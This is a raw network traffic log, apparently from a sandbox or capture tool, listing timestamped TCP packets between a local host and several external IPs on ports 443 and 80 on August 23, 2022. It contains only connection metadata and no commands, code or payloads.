Aug 23, 2022 03:42:34.998382092 CEST	443	49717	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:34.998874903 CEST	49717	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:34.998964071 CEST	443	49717	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:34.999174118 CEST	49717	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:34.999708891 CEST	443	49716	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:34.999816895 CEST	49716	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:35.008630037 CEST	49716	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:35.008862972 CEST	443	49716	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:35.008928061 CEST	49716	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:35.037826061 CEST	443	49716	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:35.037940979 CEST	49716	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:35.041798115 CEST	443	49717	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:35.042056084 CEST	443	49717	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:35.042207003 CEST	49717	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:35.046001911 CEST	49716	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:35.046037912 CEST	443	49716	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:35.048536062 CEST	49717	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:35.048588991 CEST	443	49717	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:35.230469942 CEST	49718	443	192.168.2.4	142.251.209.4
Aug 23, 2022 03:42:35.230509043 CEST	443	49718	142.251.209.4	192.168.2.4
Aug 23, 2022 03:42:35.230602980 CEST	49718	443	192.168.2.4	142.251.209.4
Aug 23, 2022 03:42:35.230916977 CEST	49718	443	192.168.2.4	142.251.209.4
Aug 23, 2022 03:42:35.230926037 CEST	443	49718	142.251.209.4	192.168.2.4
Aug 23, 2022 03:42:35.295007944 CEST	443	49718	142.251.209.4	192.168.2.4
Aug 23, 2022 03:42:35.295516014 CEST	49718	443	192.168.2.4	142.251.209.4
Aug 23, 2022 03:42:35.295546055 CEST	443	49718	142.251.209.4	192.168.2.4
Aug 23, 2022 03:42:35.296612978 CEST	443	49718	142.251.209.4	192.168.2.4
Aug 23, 2022 03:42:35.296706915 CEST	49718	443	192.168.2.4	142.251.209.4
Aug 23, 2022 03:42:35.318556070 CEST	49718	443	192.168.2.4	142.251.209.4
Aug 23, 2022 03:42:35.318895102 CEST	443	49718	142.251.209.4	192.168.2.4
Aug 23, 2022 03:42:35.523432970 CEST	443	49718	142.251.209.4	192.168.2.4
Aug 23, 2022 03:42:35.523519993 CEST	49718	443	192.168.2.4	142.251.209.4
Aug 23, 2022 03:42:35.728750944 CEST	49713	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:35.729125977 CEST	443	49713	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:35.729172945 CEST	443	49713	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:35.729207039 CEST	49713	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:35.729227066 CEST	49713	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:35.732273102 CEST	49719	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:35.732306957 CEST	443	49719	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:35.732393026 CEST	49719	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:35.732842922 CEST	49720	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:35.732887983 CEST	443	49720	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:35.732959032 CEST	49720	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:35.733867884 CEST	49721	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:35.733897924 CEST	443	49721	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:35.734148979 CEST	49721	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:35.734352112 CEST	49722	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:35.734399080 CEST	443	49722	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:35.734566927 CEST	49722	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:35.734885931 CEST	49720	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:35.734915972 CEST	443	49720	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:35.734916925 CEST	49719	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:35.734936953 CEST	443	49719	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:35.735151052 CEST	49721	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:35.735169888 CEST	443	49721	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:35.735398054 CEST	49722	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:35.735424042 CEST	443	49722	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:35.759666920 CEST	49714	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:35.759947062 CEST	443	49714	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:35.760004997 CEST	443	49714	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:35.760076046 CEST	49714	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:35.760099888 CEST	49714	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:35.779786110 CEST	443	49720	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:35.780287027 CEST	49720	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:35.780339003 CEST	443	49720	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:35.780800104 CEST	443	49722	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:35.780842066 CEST	443	49720	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:35.782540083 CEST	443	49719	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:35.783011913 CEST	443	49721	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:35.795178890 CEST	49721	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:35.795208931 CEST	443	49721	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:35.795484066 CEST	49719	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:35.795515060 CEST	443	49719	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:35.796036959 CEST	49720	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:35.796103001 CEST	443	49719	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:35.796246052 CEST	49722	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:35.796278000 CEST	443	49722	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:35.796279907 CEST	443	49720	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:35.796499968 CEST	49720	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:35.796648026 CEST	443	49721	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:35.796731949 CEST	49721	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:35.797144890 CEST	49719	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:35.797319889 CEST	443	49719	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:35.797337055 CEST	49719	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:35.797895908 CEST	49721	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:35.797986031 CEST	49721	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:35.798044920 CEST	443	49721	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:35.798075914 CEST	443	49722	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:35.798165083 CEST	49722	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:35.798600912 CEST	49722	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:35.798670053 CEST	49722	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:35.798702002 CEST	443	49722	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:35.819180965 CEST	443	49722	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:35.819315910 CEST	49722	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:35.820261955 CEST	49722	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:35.820291042 CEST	443	49722	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:35.822763920 CEST	443	49721	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:35.822851896 CEST	49721	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:35.824868917 CEST	49721	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:35.824908018 CEST	443	49721	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:35.825800896 CEST	49723	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:35.825843096 CEST	443	49723	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:35.825925112 CEST	49723	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:35.826725960 CEST	49723	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:35.826754093 CEST	443	49723	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:35.827523947 CEST	443	49720	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:35.827641964 CEST	443	49720	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:35.827728033 CEST	49720	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:35.827881098 CEST	49720	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:35.827908039 CEST	443	49720	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:35.832439899 CEST	443	49719	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:35.832678080 CEST	49719	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:35.833019018 CEST	49719	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:35.833036900 CEST	443	49719	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:35.911705971 CEST	443	49723	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:35.912043095 CEST	49723	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:35.912092924 CEST	443	49723	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:35.912744999 CEST	443	49723	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:35.913222075 CEST	49723	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:35.913392067 CEST	443	49723	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:35.913497925 CEST	49723	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:35.950767994 CEST	443	49723	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:35.950866938 CEST	443	49723	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:35.950942039 CEST	49723	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:36.031191111 CEST	49723	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:36.031213045 CEST	443	49723	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:36.732716084 CEST	49730	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:36.732743025 CEST	443	49730	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:36.732821941 CEST	49730	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:36.736124992 CEST	49730	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:36.736150980 CEST	443	49730	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:36.818284035 CEST	443	49730	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:36.818402052 CEST	49730	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:36.929104090 CEST	49730	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:36.929141045 CEST	443	49730	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:36.929593086 CEST	443	49730	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:36.929678917 CEST	49730	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:36.930895090 CEST	49730	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:36.955549002 CEST	443	49730	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:36.955640078 CEST	49730	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:36.955668926 CEST	443	49730	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:36.955693960 CEST	443	49730	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:36.955718040 CEST	49730	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:36.955743074 CEST	49730	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:36.988317013 CEST	49731	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:36.988373041 CEST	443	49731	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:36.988466978 CEST	49731	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:36.993555069 CEST	49731	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:36.993587971 CEST	443	49731	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:37.013315916 CEST	49730	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:37.013344049 CEST	443	49730	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:37.075294018 CEST	443	49731	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:37.084147930 CEST	49731	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:37.084177017 CEST	443	49731	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:37.085346937 CEST	443	49731	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:37.085838079 CEST	49731	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:37.085993052 CEST	443	49731	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:37.086323023 CEST	49731	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:37.123990059 CEST	443	49731	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:37.124085903 CEST	443	49731	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:37.124191999 CEST	49731	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:37.229978085 CEST	49731	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:37.230019093 CEST	443	49731	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:38.232692003 CEST	49736	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:38.232809067 CEST	443	49736	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:38.232908010 CEST	49736	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:38.233248949 CEST	49736	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:38.233284950 CEST	443	49736	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:38.314188957 CEST	443	49736	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:38.315037012 CEST	49736	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:38.316477060 CEST	49736	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:38.316499949 CEST	443	49736	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:38.318435907 CEST	49736	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:38.318448067 CEST	443	49736	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:38.365571022 CEST	443	49736	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:38.365679026 CEST	443	49736	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:38.365684986 CEST	49736	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:38.365839005 CEST	49736	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:38.371187925 CEST	49736	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:38.371244907 CEST	443	49736	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:40.532289982 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:40.555908918 CEST	49744	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:40.555965900 CEST	443	49744	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:40.556051970 CEST	49744	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:40.556883097 CEST	49744	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:40.556907892 CEST	443	49744	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:40.567004919 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:40.567121029 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:40.567636967 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:40.602783918 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:40.635724068 CEST	443	49744	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:40.635873079 CEST	49744	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:40.640877008 CEST	49744	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:40.640902042 CEST	443	49744	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:40.642769098 CEST	49744	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:40.642788887 CEST	443	49744	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:40.683167934 CEST	443	49744	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:40.683255911 CEST	49744	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:40.683280945 CEST	443	49744	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:40.683314085 CEST	443	49744	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:40.683408022 CEST	49744	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:40.683774948 CEST	49744	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:40.686805010 CEST	49744	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:40.686831951 CEST	443	49744	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:40.720338106 CEST	49747	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:40.720397949 CEST	443	49747	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:40.720468044 CEST	49747	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:40.720849991 CEST	49747	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:40.720874071 CEST	443	49747	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:40.732975006 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:40.733016014 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:40.733036995 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:40.733061075 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:40.733071089 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:40.733082056 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:40.733108044 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:40.733136892 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:40.799721003 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:40.801188946 CEST	443	49747	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:40.801285028 CEST	49747	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:40.801676989 CEST	49747	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:40.801688910 CEST	443	49747	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:40.803400993 CEST	49747	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:40.803421974 CEST	443	49747	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:40.834280968 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:40.848195076 CEST	443	49747	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:40.848268986 CEST	443	49747	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:40.848319054 CEST	49747	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:40.848339081 CEST	49747	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:40.863488913 CEST	49747	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:40.863538027 CEST	443	49747	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:40.898263931 CEST	49748	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:40.898319960 CEST	443	49748	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:40.898422003 CEST	49748	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:40.911443949 CEST	49748	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:40.911478996 CEST	443	49748	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:40.937143087 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:40.937180996 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:40.937206030 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:40.937217951 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:40.937237024 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:40.937256098 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:40.937280893 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:40.937293053 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:40.937297106 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:40.937313080 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:40.937330961 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:40.937331915 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:40.937489033 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:40.941289902 CEST	49749	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:40.941342115 CEST	443	49749	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:40.941438913 CEST	49749	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:40.942043066 CEST	49749	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:40.942064047 CEST	443	49749	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:40.972506046 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:40.972538948 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:40.972636938 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:40.972717047 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:40.980264902 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:40.980303049 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:40.980324984 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:40.980340958 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:40.980361938 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:40.980381966 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:40.980413914 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:40.980429888 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:40.980448008 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:40.980463982 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:40.980463982 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:40.980480909 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:40.980484009 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:40.980485916 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:40.980500937 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:40.980509996 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:40.980523109 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:40.980544090 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:40.980545998 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:40.980565071 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:40.980566978 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:40.980581045 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:40.980602026 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:40.980633020 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:40.982867002 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:40.982892990 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:40.982956886 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:40.982975960 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:40.990997076 CEST	443	49748	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:40.991349936 CEST	49748	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:40.991372108 CEST	443	49748	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:40.991626978 CEST	443	49748	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:40.992321014 CEST	49748	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:40.992408037 CEST	443	49748	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:40.992541075 CEST	49748	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:41.007509947 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.007658005 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.007673025 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.007729053 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.007749081 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.007816076 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.007838011 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.007901907 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.018322945 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.018479109 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.018496037 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.018529892 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.018587112 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.018625021 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.018639088 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.018668890 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.018676043 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.018707037 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.018738031 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.018769026 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.018794060 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.018805981 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.018834114 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.018836021 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.018838882 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.018862963 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.018866062 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.018868923 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.018893957 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.018897057 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.018899918 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.018919945 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.018925905 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.018950939 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.018956900 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.018985987 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.018990993 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.019013882 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.019016981 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.019046068 CEST	49743	80	192.168.2.4	45.95.11.158
